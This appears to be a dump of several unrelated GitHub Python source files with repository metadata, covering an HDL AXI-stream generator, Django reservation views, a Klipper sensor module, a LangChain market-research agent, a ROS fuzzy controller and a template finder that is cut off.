v_variable( Axi_in.data )\n self.data_internal_isvalid2 = v_variable( v_sl())\n self.data_internal_was_read2 = v_variable(v_sl())\n self.data_internal_isLast2 = v_variable( v_sl())\n \n \n \n def observe_data(self, dataOut = variable_port_out(dataType())):\n if self.data_internal_isvalid2:\n dataOut << self.data_internal2\n \n \n def read_data(self, dataOut ):\n if self.data_internal_isvalid2:\n dataOut << self.data_internal2\n self.data_internal_was_read2 << 1\n \n\n def isReceivingData(self):\n return self.data_internal_isvalid2 == 1\n\n\n def IsEndOfStream(self):\n return self.data_internal_isvalid2 > 0 and self.data_internal_isLast2 > 0\n\n def __bool__(self):\n return self.isReceivingData()\n\n def _onPull(self):\n if self.rx.ready and self.rx.valid:\n self.data_isvalid << 1\n \n self.data_internal_was_read2 << 0\n self.rx.ready << 0 \n \n if self.data_isvalid and not self.data_internal_isvalid2:\n self.data_internal2 << self.rx.data \n self.data_internal_isvalid2 << self.data_isvalid\n self.data_internal_isLast2 << self.rx.last\n self.data_isvalid << 0\n \n \n \n def _sim_get_value(self):\n if self.data_internal_isvalid2:\n self.data_internal_was_read2 << 1\n\n return self.data_internal2._sim_get_value()\n\n def _onPush(self):\n if self.data_internal_was_read2:\n self.data_internal_isvalid2 << 0\n\n if not self.data_isvalid and not self.data_internal_isvalid2:\n self.rx.ready << 1\n \n\n\nclass axisStream_master_converter(axisStream_converter):\n def __init__(self):\n super().__init__()\n\n def _vhdl__to_bool(self, obj, astParser):\n ret = obj.hdl_conversion__._vhdl__call_member_func(obj, \"ready_to_send\",[obj],astParser)\n if ret == None:\n astParser.Missing_template=True\n return \"$$missing_template$$\"\n return ret\n \n def _vhdl__reasign(self,obj, rhs,astParser,context_str=None):\n ret = obj.hdl_conversion__._vhdl__call_member_func(obj, \"send_data\",[obj, rhs],astParser)\n if ret == None:\n astParser.Missing_template=True\n return \"$$missing_template$$\"\n return ret\n\n\n \n def includes(self,obj, name,parent):\n ret = obj.tx.hdl_conversion__.includes(obj.tx,None,None)\n return ret\n\n def get_packet_file_name(self, obj):\n ret = obj.tx.hdl_conversion__.get_packet_file_name(obj.tx)\n return ret\n\n def get_packet_file_content(self, obj):\n ret = obj.tx.hdl_conversion__.get_packet_file_content(obj.tx)\n return ret\n\nclass axisStream_master(v_class_master):\n def __init__(self, Axi_Out):\n super().__init__(Axi_Out.type + \"_master\")\n self.hdl_conversion__ =axisStream_master_converter()\n self.tx = variable_port_Master( Axi_Out)\n Axi_Out << self.tx\n\n\n \n\n \n def send_data(self, dataIn ):\n self.tx.valid << 1\n self.tx.data << dataIn \n \n def ready_to_send(self):\n return not self.tx.valid\n\n def Send_end_Of_Stream(self, EndOfStream=True):\n if EndOfStream:\n self.tx.last << 1\n else:\n self.tx.last << 0\n\n\n def _onPull(self):\n\n if self.tx.ready: \n self.tx.valid << 0 \n self.tx.last << 0 \n# self.tx.data << 0\n\n \n def __lshift__(self, rhs):\n self.send_data(value(rhs))\n\n def __bool__(self):\n \n return self.ready_to_send()\n\n\n\nclass axisStream_slave_signal_converter(axisStream_converter):\n def __init__(self):\n super().__init__()\n\n def includes(self,obj, name,parent):\n ret = obj.rx.hdl_conversion__.includes(obj.rx,None,None)\n return ret\n\n def get_packet_file_name(self, obj):\n ret = obj.rx.hdl_conversion__.get_packet_file_name(obj.rx)\n return ret\n\n def get_packet_file_content(self, obj):\n ret = obj.rx.hdl_conversion__.get_packet_file_content(obj.rx)\n return ret\n\nclass axisStream_slave_signal(v_class):\n def __init__(self, Axi_Out):\n super().__init__(Axi_Out.type + \"_master_signal\")\n self.__v_classType__ = v_classType_t.Master_t\n self.hdl_conversion__ =axisStream_slave_signal_converter()\n self.rx = signal_port_Slave(Axi_Out)\n self.rx << Axi_Out\n\n self.internal = v_signal(Axi_Out)\n self.v_internal = v_variable(Axi_Out)\n self.v_internal << self.internal\n \n\n\n\n# @architecture\n# def connect(self):\n# @combinational()\n# def p1():\n# self.rx.ready << v_switch(0, \n# [v_case( self.rx.valid and self.internal.ready , 1)]\n# )\n# self.internal.data << self.rx.data\n# self.internal.last << self.rx.last\n# self.internal.valid << self.rx.valid\n\n\n\nclass axisStream_master_with_strean_counter(v_class):\n def __init__(self, Axi_in):\n super().__init__(Axi_in.type + \"_master_with_counter\")\n self.AxiTX = port_Master(axisStream_master(Axi_in))\n self.__v_classType__ = v_classType_t.Master_t\n self.Counter = v_variable(v_int(0))\n self.SendingData =v_variable(v_sl())\n self.EndOfStream =v_variable( v_sl())\n self.EOF_Counter_max = v_variable(v_int(0))\n\n\n self.__BeforePush__ ='''\n if self.SendingData = '1' then\n self.counter := self.counter + 1;\n end if;\n \n if self.SendingData = '1' and self.counter = 0 and self.EndOfStream ='1' then\n \n Send_end_Of_Stream(self.AxiTX);\n self.EndOfStream :='0';\n \n elsif self.SendingData = '1' and self.counter > 0 and self.EndOfStream ='1' then\n self.counter := self.EOF_Counter_max;\n end if;\n\n self.SendingData := '0';\n '''\n self.ready_to_send = v_function(returnType=\"boolean\",body = '''\n return ready_to_send(self.AxiTX); \n ''')\n self.ready_to_send_at_pos = v_function(argumentList=\"position : integer\", returnType=\"boolean\",body = '''\n if self.counter = position then\n return ready_to_send(self); \n end if;\n\n return false;\n ''')\n \n self.send_data = v_procedure(argumentList= \"datain : in \" + self.AxiTX.tx.data.type, body='''\n if ready_to_send(self) then\n send_data(self.AxiTX,datain);\n self.SendingData := '1';\n end if;\n ''')\n self.Send_end_Of_Stream = v_procedure(argumentList= \"EndOfStream : in boolean := true\",body='''\n if EndOfStream then\n self.EndOfStream := '1';\n else\n self.EndOfStream := '0';\n end if;\n \n \n''')\n\n self.send_data_at = v_procedure(argumentList= \"position : integer ; datain : in \" + self.AxiTX.tx.data.type , body='''\n if ready_to_send_at_pos(self, position) then\n send_data(self, datain);\n end if;\n \n if position < self.EOF_Counter_max then\n self.EOF_Counter_max := position;\n end if;\n ''')\n self.send_data_begining_at = v_procedure(argumentList= \"position : integer ; datain : in \" + self.AxiTX.tx.data.type , body='''\n if ready_to_send_begining_at(self,position) then\n send_data(self, datain);\n end if;\n \n if position < self.EOF_Counter_max then\n self.EOF_Counter_max := position;\n end if;\n ''')\n self.ready_to_send_begining_at = v_function(argumentList=\"position : integer\", returnType=\"boolean\",body = '''\n if self.counter >= position then\n return ready_to_send(self); \n end if;\n return false;\n ''')\n\n\n\nclass axiStream_package(v_package):\n def __init__(self,PackageName, AXiName):\n super().__init__(PackageName)\n if AXiName.isdigit():\n AxiType = v_slv(int(AXiName))\n else:\n pac = get_package_for_type(AXiName)\n if pac:\n include = pac[\"packageDef\"][0]\n include = \"use work.\"+include+\".all;\\n\"\n\n else:\n include= \"-- Unable to locate package which contains class: '\" +AXiName+\"' $$$missingInclude$$$\"\n AxiType = v_symbol(AXiName,AXiName+\"_null\", includes = include)\n\n self.axi = axisStream(AXiName,AxiType)\n self.axi_slave = axisStream_slave(AXiName,AxiType)\n self.axi_master = axisStream_master(AXiName,AxiType)\n self.axisStream_master_with_strean_counter =axisStream_master_with_strean_counter(AXiName,AxiType)\n \n\n\ndef arg2type(AXiName):\n if AXiName.isdigit():\n AxiType = v_slv(int(AXiName))\n else:\n pac = get_package_for_type(AXiName)\n if pac:\n include = pac[\"packageDef\"][0]\n include = \"use work.\"+include+\".all;\\n\"\n\n else:\n include= \"-- Unable to locate package which contains class: '\" +AXiName+\"' $$$missingInclude$$$\"\n AxiType = v_symbol(AXiName,AXiName+\"_null\", includes = include)\n\n return AXiName,AxiType\n\n\ndef make_package(PackageName,AxiType):\n s = isConverting2VHDL()\n set_isConverting2VHDL(True)\n\n ax_t = axisStream(AxiType)\n ax = v_package(PackageName,sourceFile=__file__,\n PackageContent = [\n ax_t,\n axisStream_slave(ax_t),\n axisStream_master(ax_t),\n #axisStream_slave_signal(ax_t)\n #axisStream_master_with_strean_counter(ax_t)\n ]\n \n \n )\n fileContent = ax.to_string()\n set_isConverting2VHDL(s)\n return fileContent\n\ndef main():\n \n parser = argparse.ArgumentParser(description='Generate Packages')\n parser.add_argument('--OutputPath', help='Path to where the build system is located',default=\"build/xgen/xgen_axiStream_32.vhd\")\n parser.add_argument('--PackageName', help='package Name',default=\"xgen_axistream_32_SD\")\n\n args = parser.parse_args()\n sp = args.PackageName.split(\"_\")\n AXiName,AxiType = arg2type(sp[2])\n fileContent = make_package(args.PackageName,AxiType)\n\n with open(args.OutputPath, \"w\", newline=\"\\n\") as f:\n f.write(fileContent)\n \n\n\nif __name__== \"__main__\":\n main()\n\n","repo_name":"RPeschke/pyHDL","sub_path":"axiStream.py","file_name":"axiStream.py","file_ext":"py","file_size_in_byte":14109,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"17418598168","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\n\nfrom src.model.Point import Point\nfrom src.model.Polygon import Polygon\n\n__author__ = \"Michel Llorens\"\n__license__ = \"GPL\"\n__version__ = \"1.0.0\"\n__email__ = \"mllorens@dcc.uchile.cl\"\n\n\nclass Reader:\n def __init__(self, path, screen_width, screen_height):\n self.width = screen_width\n self.height = screen_height\n self.path = path\n\n def read_file(self, filename):\n text_file = open(self.path+filename, \"r\")\n number_points = int(text_file.readline())\n points = []\n polygons = []\n\n min_x = sys.maxsize\n max_x = -sys.maxsize - 1\n min_y = sys.maxsize\n max_y = -sys.maxsize - 1\n\n for i in range(number_points):\n line = text_file.readline().split()\n\n if max_x < float(line[0]):\n max_x = float(line[0])\n\n if max_y < float(line[1]):\n max_y = float(line[1])\n\n if min_x > float(line[0]):\n min_x = float(line[0])\n\n if min_y > float(line[1]):\n min_y = float(line[1])\n\n points.append(Point(float(line[0]), float(line[1]), i))\n\n number_segments = int(text_file.readline())\n for i in range(number_segments):\n line = text_file.readline()\n\n x_movement = -min_x\n y_movement = -min_y\n\n x_scale = self.width / (max_x + x_movement)\n y_scale = self.height / (max_y + y_movement)\n\n map(lambda point: point.translate_and_scale(x_movement, y_movement, x_scale, y_scale), points)\n\n number_polygons = int(text_file.readline())\n for i in range(number_polygons):\n line = text_file.readline().split()\n polygons.append(Polygon(list(map(lambda index: points[int(index)], line))))\n\n return polygons\n","repo_name":"Michotastico/Points-Visualizator","sub_path":"src/controller/Reader.py","file_name":"Reader.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36670067368","text":"from tkinter import *\nfrom graph import *\n\n\nclass Gui():\n def __init__(self, window):\n self.myGraph = Graph()\n self.window = window\n self.window.title(\"Shanghai Metro\")\n self.window.geometry('1024x676+20+20')\n self.searchButton = Button(\n self.window, text=\"bellman-ford search\", width=32, command=self.bsearch)\n self.searchButton.grid(row=0, column=0)\n self.searchButton = Button(\n self.window, text=\"dijkstra search\", width=32, command=self.dsearch)\n self.searchButton.grid(row=0, column=1)\n self.entry1 = Entry(self.window, width=100)\n self.entry1.grid(row=1, column=0, columnspan=3)\n self.text = Text(self.window, width=120, height=40)\n self.text.grid(row=2, column=0, columnspan=12)\n\n def bsearch(self):\n self.myGraph = Graph()\n self.myGraph.readIn()\n all = self.entry1.get()\n if all:\n self.text.delete(1.0, END)\n self.text.insert(1.0, self.myGraph.navigateBellmanFord(all))\n\n def dsearch(self):\n self.myGraph = Graph()\n self.myGraph.readIn()\n all = self.entry1.get()\n if all:\n self.text.delete(1.0, END)\n self.text.insert(1.0, self.myGraph.navigateDijkstra(all))\n\n\nwindow = Tk()\nroot = Gui(window)\nwindow.mainloop()\n","repo_name":"yixin-zhu/Shanghai-Metro","sub_path":"UI 版/UI.py","file_name":"UI.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72329042348","text":"import json\n\nfrom django.http import HttpResponse\nfrom django.views import generic\nfrom rest_framework import viewsets, views\nfrom rest_framework.permissions import IsAuthenticated, IsAuthenticatedOrReadOnly\nfrom rest_framework.response import Response\nfrom django.utils import timezone\nfrom datetime import datetime, timedelta\n\nfrom rest_framework_jwt.authentication import JSONWebTokenAuthentication\n\nfrom user.models import User\nfrom . import models\nfrom . import serializers\n\n\n# 1. 날짜 목록 API(GET) /day\nclass DateListView(views.APIView):\n\n def get(self, request):\n def dayofweek(args):\n if args == 0:\n return \"SUN\"\n elif args == 1:\n return \"MON\"\n elif args == 2:\n return \"TUE\"\n elif args == 3:\n return \"WEN\"\n elif args == 4:\n return \"THI\"\n elif args == 5:\n return \"FRI\"\n elif args == 6:\n return \"SAT\"\n\n dictionary = {\n \"message\": \"\",\n \"data\": {\"day\": str(timezone.now().date()), \"day_of_week\": dayofweek(timezone.now().weekday())}\n }\n instance = serializers.DateListSerializer(dictionary, many=False).data\n return Response(instance)\n\n\n# 2. 날짜별 예약 가능 시간(GET) /times?day=2019-03-01\nclass AvailableReservationTimeView(views.APIView):\n def get(self, request):\n day = request.GET.get('day' or None)\n\n try:\n day = datetime.strptime(day, '%Y-%m-%d').date()\n\n # 해당 날짜에 있는 예약들을 unavailable에 반환하는 쿼리\n unavailabletime = models.TimeTable.objects.filter(day=day)\n\n countindex = 26\n\n # orderset을 만들어서 모든 인덱스를 저장\n order = set([])\n for i in range(0, countindex):\n order.add(i)\n\n # 이미 예약이 되어 있는 시간 제거\n for model in unavailabletime:\n order.remove(model.time_index.time_index_id)\n\n data = []\n\n for i in order:\n dict = {\"order\": i, \"time\": str(models.TimeIndex.objects.get(time_index_id=i))}\n data.append(dict)\n\n dictionary = {\n \"message\": \"\",\n \"data\": data,\n }\n instance = serializers.AvailableReservationTimeViewSerializer(dictionary, many=False).data\n return Response(instance)\n\n # day 값이 없을 경우 예외처리\n except TypeError:\n dictionary = [\n {\n \"message\": \"day 값이 없어요\",\n \"data\": [],\n }\n ]\n instance = serializers.AvailableReservationTimeViewSerializer(dictionary, many=True).data\n return Response(status=400, data=instance)\n\n # day에 올바른 값이 오지 않았을 경우 예외처리\n except ValueError:\n dictionary = [\n {\n \"message\": \"day 값이 잘못되었어요\",\n \"data\": [],\n }\n ]\n instance = serializers.AvailableReservationTimeViewSerializer(dictionary, many=True).data\n return Response(instance)\n\n\nclass Reservation(views.APIView):\n authentication_class = (JSONWebTokenAuthentication,)\n permission_classes = (IsAuthenticatedOrReadOnly,)\n\n # 3. 예약 목록 보기(GET) /reservations\n def get(self, request):\n data = []\n\n # 우선 오늘 및 이후의 날짜의 데이터만 가져옴. 이 때 날짜순, time_index 순으로 정렬\n queryset = models.TimeTable.objects.filter(day__gte=timezone.now()).order_by('day', 'time_index')\n if queryset:\n # 최초 데이터를 저장\n reservation = queryset[0].reservation\n title = reservation.title\n name = reservation.user.name\n day = (queryset[0].day-timezone.now().date()).days\n start_time = queryset[0].time_index.time_index_id\n end_time = queryset[0].time_index.time_index_id\n\n # for 문을 이용하여 직접값과 비교\n for model in queryset:\n\n # 같다면, 같은 예약이기 때문에 end_time만 바꾸어줌\n if model.reservation == reservation:\n end_time = model.time_index.time_index_id\n\n # 다르다면, 다른 예약이기 때문에 현재까지 저장된 데이터를 data에 append 시켜줌\n else:\n data.append(\n {\n \"title\": title,\n \"name\": name,\n \"day\": day,\n \"start_time\": start_time,\n \"end_time\": end_time\n }\n )\n\n # 그리고 다시 초기화\n reservation = model.reservation\n title = reservation.title\n name = reservation.user.name\n day = (model.day-timezone.now().date()).days\n start_time = model.time_index.time_index_id\n end_time = model.time_index.time_index_id\n\n # for 문이 끝나고 마지막 남은 데이터까지 처리\n data.append(\n {\n \"title\": title,\n \"name\": name,\n \"day\": day,\n \"start_time\": start_time,\n \"end_time\": end_time\n }\n )\n\n dictionary = {\n \"message\": \"\",\n \"data\": data,\n }\n instance = serializers.TimeTableViewSerializer(dictionary, many=False).data\n return Response(instance)\n\n # 4. 예약 만들기(POST) /reservation\n def post(self, request):\n user = request.user\n\n # json 데이터를 받음\n title = request.data[\"title\"]\n day = timezone.now() + timedelta(days=request.data[\"day\"])\n start_time = request.data[\"start_time\"]\n end_time = request.data[\"end_time\"]\n\n # 해당 날짜에 있는 예약들을 반환하는 쿼리\n unavailabletime = models.TimeTable.objects.filter(day=day)\n\n # order에 이제 들어갈 예약의 모든 time_index를 넣어줌\n order = set([])\n for i in range(start_time, end_time+1):\n order.add(i)\n ordersize = len(order)\n\n # 위에서 구한 unavailabletime와 겹치는 부분이 있으면 제거해줌\n for model in unavailabletime:\n order.discard(model.time_index.time_index_id)\n ordersizecmp = len(order)\n\n # 두 값이 다르다는 것은, 겹치는 시간이 발생하였다는 뜻이기 때문에, 두 값을 같을 경우에만 실행\n if ordersize == ordersizecmp:\n reservationmodel = models.Reservation(title=title, user=user)\n reservationmodel.save()\n\n for index in range(start_time, end_time+1):\n timetablemodel = models.TimeTable(\n day=day,\n reservation=reservationmodel,\n time_index=models.TimeIndex.objects.get(time_index_id=index)\n )\n timetablemodel.save()\n return Response(data={\"message\": \"\"})\n else:\n return Response(status=400, data={\"message\": \"이미 예약된 시간입니다.\"})\n\n\n\n\n","repo_name":"kucc-2019-1/kucc-timetable","sub_path":"backend/timetable/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7559,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10256045528","text":"import logging, bisect\nfrom sensorbase import SensorBase\n\n# Linear style conversion chips calibrated with two temp measurements\nclass Linear(SensorBase):\n def __init__(self, config, params):\n self.adc_samples = []\n self.slope_samples = []\n adc_voltage = config.getfloat('adc_voltage', 5., above=0.)\n last_volt = last_temp = None\n for volt, temp in sorted([(v, t) for t, v in params['values']]):\n adc = volt / adc_voltage\n if adc < 0. or adc > 1.:\n logging.warn(\"Ignoring adc sample %.3f/%.3f in heater %s\",\n temp, volt, config.get_name())\n continue\n if last_volt is None:\n last_volt = volt\n last_temp = temp\n continue\n if volt <= last_volt:\n raise config.error(\"adc_temperature duplicate voltage\")\n slope = (temp - last_temp) / (volt - last_volt)\n gain = adc_voltage * slope\n offset = last_temp - last_volt * slope\n if self.slope_samples and self.slope_samples[-1] == (gain, offset):\n continue\n last_temp = temp\n last_volt = volt\n self.adc_samples.append(adc)\n self.slope_samples.append((gain, offset))\n if not self.adc_samples:\n raise config.error(\n \"adc_temperature needs two volt and temperature measurements\")\n self.adc_samples[-1] = 1.\n SensorBase.__init__(self, config)\n def calc_temp(self, read_value):\n pos = bisect.bisect(self.adc_samples, read_value)\n gain, offset = self.slope_samples[pos]\n temp = read_value * gain + offset\n return temp\n def calc_adc(self, temp):\n temps = [adc * gain + offset for adc, (gain, offset) in zip(\n self.adc_samples, self.slope_samples)]\n if temps[0] < temps[-1]:\n pos = min([i for i in range(len(temps)) if temps[i] >= temp]\n + [len(temps) - 1])\n else:\n pos = min([i for i in range(len(temps)) if temps[i] <= temp]\n + [len(temps) - 1])\n gain, offset = self.slope_samples[pos]\n return (temp - offset) / gain\n\n# Custom defined sensors from the config file\nclass CustomLinear(Linear):\n def __init__(self, config, params):\n self.name = \" \".join(config.get_name().split()[1:])\n self.params = []\n for i in range(1, 1000):\n t = config.getfloat(\"temperature%d\" % (i,), None)\n if t is None:\n break\n v = config.getfloat(\"voltage%d\" % (i,))\n self.params.append((t, v))\n Linear.__init__(self, config, {'values': self.params})\n","repo_name":"tuwwe/klipper","sub_path":"klippy/extras/sensors/linear.py","file_name":"linear.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"41661241316","text":"import asyncio\nfrom fastapi import APIRouter\nfrom langchain import OpenAI, SerpAPIWrapper\nfrom langchain.agents import initialize_agent, Tool, AgentType\nfrom langchain.tools import DuckDuckGoSearchRun\nfrom langchain.llms import VertexAI\nfrom pymongo import MongoClient\nfrom bson.objectid import ObjectId\nimport vertexai\nfrom vertexai.language_models import TextGenerationModel\nsearch = DuckDuckGoSearchRun()\n\nrouter = APIRouter()\nclient = MongoClient(\"mongodb://localhost:27017/\")\ndb = client[\"judgy\"]\n\n\n@router.get(\"/market-agent\")\nasync def marketAgent_endpoint():\n await asyncio.sleep(5)\n return {\"message\": \"Hello from Market Agent\"}\n\n\nasync def invoke_market_agent(project_id: str, idea: str):\n vertexai.init(project=\"lofty-bolt-383703\", location=\"us-central1\")\n parameters = {\n \"temperature\": 0.2,\n \"max_output_tokens\": 1000,\n \"top_p\": 0.8,\n \"top_k\": 40\n }\n for x in db.hackathons.find():\n technologies = x[\"technologies\"]\n theme = x[\"theme\"]\n break\n\n llm = VertexAI()\n tools = [\n Tool(\n name=\"Intermediate Answer\",\n func=search.run,\n description=\"useful for when you need to ask with search\",\n )\n ]\n\n marketQuestion = [\n \"Who is the target audience of this idea?\",\n \"What is the potential of this idea?\",\n \"What is the market size of this idea?\",\n \"What are the pitfalls of this idea?\",\n \"Are there any platforms like the idea, that already exist?\"]\n agentAnswers = []\n\n def getAnswer(question):\n self_ask_with_search = initialize_agent(\n tools, llm, agent=AgentType.SELF_ASK_WITH_SEARCH, verbose=True\n )\n prompt = \"\"\"\n You are a market researcher. You have to answer the question about the idea.\n Idea: {idea}\n Question: {question}\n Rules for answering: \n 1. Use statistical data where ever possible.\n 2. Remember to answer like a market researcher.\n 3. Answer the question as best you can, in a paragraph.\n 4. You must answer in one paragraph. Do not use formatting.\n 5. Your paragraph must not have more than 70 words.\n \"\"\"\n prompt = prompt.format(question=question, idea=idea)\n resp = self_ask_with_search.run(prompt)\n agentAnswers.append(resp)\n for i in marketQuestion:\n getAnswer(i)\n\n final = []\n for i in range(len(marketQuestion)):\n newval = {\"question\": marketQuestion[i], \"answer\": agentAnswers[i]}\n final.append(newval)\n print(final)\n\n model = TextGenerationModel.from_pretrained(\"text-bison@001\")\n theme_prompt = \"\"\"\n Themes : {theme}\n Idea: {idea}\n Task : To which of the above themes does the idea belong to?\n Rules: \n 1. The theme must be from the above list\n 2. Just give the matched theme and nothing more.\n 3. If the idea does not match any of the themes, just say \"None\"\n \"\"\"\n theme_prompt = theme_prompt.format(theme=theme, idea=idea)\n response = model.predict(\n theme_prompt,\n **parameters\n )\n finalTheme = response.text\n print(\"project_id\", project_id)\n query = {\"_id\": ObjectId(project_id)}\n newvalues = {\"$set\": {\"marketAgentAnalysis\": final, \"theme\": finalTheme}}\n temp = db.projects.update_one(query, newvalues)\n print(\"Market Agent : Task Complete\")\n","repo_name":"steinskeeper/judgy-backend","sub_path":"agents/marketagent.py","file_name":"marketagent.py","file_ext":"py","file_size_in_byte":3398,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"8730721310","text":"import os\nimport pandas as pd\nimport spacy as spacy\n\nfrom langdetect import detect\nfrom transformers import MarianMTModel, MarianTokenizer\nfrom tqdm import tqdm\n\ntqdm.pandas()\n\nPATH_REQUESTS = 'database/Request.csv'\nPATH_RELATIVE = 'data/'\nHAS_CACHE_DATA = os.path.isfile('data/subject_with_lang.csv')\n\nif not HAS_CACHE_DATA:\n\n def text_detect(x):\n try:\n return detect(x)\n except:\n return 'unknown'\n\n df_s = pd.read_csv('data/subject_html_tags.csv')\n df_d = pd.read_csv('data/description_html_tags.csv')\n\n df_s.subject = df_s.progress_apply(lambda x: text_detect(x.subject), axis=1)\n df_d.description = df_d.progress_apply(lambda x: text_detect(x.description), axis=1)\n\n df_s[['id', 'subject']].to_csv('data/subject_with_lang.csv', index=False)\n df_d[['id', 'description']].to_csv('data/description_with_lang.csv', index=False)\n\n# Load and merge data\ndf_s_lang = pd.read_csv(f'{PATH_RELATIVE}subject_with_lang.csv')\ndf_d_lang = pd.read_csv(f'{PATH_RELATIVE}description_with_lang.csv')\n\ndf_s = pd.read_csv(f'{PATH_RELATIVE}subject_html_tags.csv')\ndf_d = pd.read_csv(f'{PATH_RELATIVE}description_html_tags.csv')\n\ndf_s = pd.merge(df_s, df_s_lang, on='id')\ndf_d = pd.merge(df_d, df_d_lang, on='id')\n\ndf_s.lang = df_s.subject_y\ndf_d.lang = df_d.description_y\n\ndf_s = df_s.rename(columns={'subject_x': 'subject'})\ndf_d = df_d.rename(columns={'description_x': 'description'})\n\ndf_d = df_d[df_d.lang == 'da']\ndf_s = df_s[df_s.id.isin(df_d.id.values)]\n\nnlp = spacy.load('da_core_news_sm')\n\n\ndef lemmatize_text(text):\n if isinstance(text, str):\n doc = nlp(text)\n return \" \".join([token.lemma_ for token in doc if not token.is_stop])\n return text\n\n# Lemmatize subject and description for Danish text\ndf_s['subject'] = df_s.progress_apply(lambda x: lemmatize_text(x.subject), axis=1)\ndf_d['description'] = df_d.progress_apply(lambda x: lemmatize_text(x.description), axis=1)\n\n# Save the lemmatized data\ndf_s[['id', 'subject']].to_csv(f'{PATH_RELATIVE}subject_lemmatize.csv', index=False)\ndf_d[['id', 'description']].to_csv(f'{PATH_RELATIVE}description_lemmatize.csv', index=False)\n","repo_name":"T0mmy0lsen/IHLP-Helper","sub_path":"backend/ihlp/notebooks/1_2_process_text_lemmatize.py","file_name":"1_2_process_text_lemmatize.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34320640194","text":"import os\r\nimport sys\r\n\r\n\r\ndef grep(args):\r\n notContains = False\r\n if args[0] == \"-v\":\r\n notContains = True\r\n args = args[1:]\r\n containsString = args[0]\r\n files = []\r\n for file in args[1:]:\r\n if os.access(file, os.R_OK):\r\n f = open(file)\r\n files.append(f.readlines())\r\n continue\r\n print(\"Invalid file path\")\r\n sys.exit(1)\r\n for file in files:\r\n for line in file:\r\n if notContains:\r\n if line.__contains__(containsString):\r\n continue\r\n print(line, end='')\r\n elif line.__contains__(containsString):\r\n print(line, end='')\r\n\r\n\r\n","repo_name":"TannerHelms/CS1440","sub_path":"cs1440-helms-tanner-assn1/src/Grep.py","file_name":"Grep.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74019292268","text":"#!/usr/bin/env python\n\nimport rospy\nfrom ros_base import *\nfrom fuzzy_logic import *\nfrom fuzzy_avoidance import FuzzyAvoid\nfrom fuzzy_wall_following import FuzzyWall\nimport numpy as np\nfrom functools import partial\nimport sys\n\nclass FuzzyUltimate(RosBase):\n\tdef __init__(self, name):\n\t\tsuper(self.__class__, self).__init__(name)\n\n\t\tself.wf = FuzzyWall(\"fuzzy_wall_follow\",suppress=True)\n\t\tself.wf_func = lambda x: np.maximum(0.0, m_linear(1,2,12,12,x))\n\t\tself.av = FuzzyAvoid(\"fuzzy_avoidance\",suppress=True)\n\t\tself.av_func = lambda x: m_linear(0,0,1,2,x)\n\n\n\t# Override from RosBase\n\tdef _process_inputs(self, msg):\n\t\t\n\t\tself.wf._process_inputs(msg)\n\t\tself.av._process_inputs(msg)\n\t\t\n\t\tfront = np.concatenate([np.array(msg.ranges[629:]),np.array(msg.ranges[:91])])\n\t\ter = np.exp(-front)\n\t\ts = np.sum(er) \n\t\tsoft = er/s if s !=0 else 0\n\t\tfront = np.clip(front, msg.range_min, msg.range_max)\n\t\tfront = np.sum(front*soft)\n\n\t\tfwf = self.wf_func(front)\n\t\tfav = self.av_func(front)\n\n\t\treturn {'fwf':fwf, 'fav':fav}\n\n\t# Override from RosBase\n\tdef _control_loop(self):\n\t\tself.wf._control_loop()\n\t\twf_out = self.wf.outputs\n\t\tself.av._control_loop()\n\t\tav_out = self.av.outputs\n\t\t\n\t\tfwf = self.processed_inputs['fwf']\n\t\tfav = self.processed_inputs['fav']\n\t\t\n\t\tself.outputs['move'] = (fwf*wf_out['move']+fav*av_out['move'])/(fwf+fav)\n\t\tself.outputs['turn'] = (fwf*wf_out['turn']+fav*av_out['turn'])/(fwf+fav)\n\n\t\t#print(\"FWF: {}\".format(fwf/(fwf+fav)))\n\t\t#print(\"FAV: {}\".format(fav/(fwf+fav)))\n\t\t\n\nif __name__ == '__main__':\n\ttry:\n\t\tcontroller = FuzzyUltimate(\"fuzzy_ultimate\")\n\t\tif len(sys.argv)>1 and sys.argv[1]=='di':\n\t\t\tcontroller.logic.draw_inputs()\n\t\telif len(sys.argv)>1 and sys.argv[1]=='do':\n\t\t\tcontroller.logic.draw_outputs()\n\t\telse:\t\n\t\t\tcontroller.start(reset=(len(sys.argv)>1 and sys.argv[1]=='reset'))\n\texcept rospy.ROSInterruptException:\t\t\n\t\tpass\n\n\n","repo_name":"Benjabby/ce801-fuzzy-logic-ros","sub_path":"fuzzy_ultimate.py","file_name":"fuzzy_ultimate.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"6260561715","text":"\"\"\"\n\ncode from https://github.com/TyMaszWeb/django-template-finder\n\n\"\"\"\nimport fnmatch\nimport logging\nimport os\nimport re\n\nfrom django.conf import settings\nfrom django.utils.text import capfirst\n\n\ntry:\n from importlib import import_module\nexcept ImportError:\n from django.utils.importlib import import_module\n\n\ntry:\n from django.utils.six import string_types\nexcept ImportError:\n string_types = (str,)\ntry:\n from django.template import Engine\nexcept ImportError:\n class Engine(object):\n @staticmethod\n def get_default():\n return None\n\n\n__all__ = ('find_all_templates', 'flatten_template_loaders', 'template_choices')\n\n\nLOGGER = logging.getLogger('templatefinder')\n\n\ndef find_all_templates(pattern='*.html', ignore_private=True):\n \"\"\"\n Finds all Django templates matching given glob in all TEMPLATE_LOADERS\n\n :param str pattern: `glob `_\n to match\n\n .. important:: At the moment egg loader is not supported.\n \"\"\"\n templates = []\n template_loaders = flatten_template_loaders(settings.TEMPLATE_LOADERS)\n for 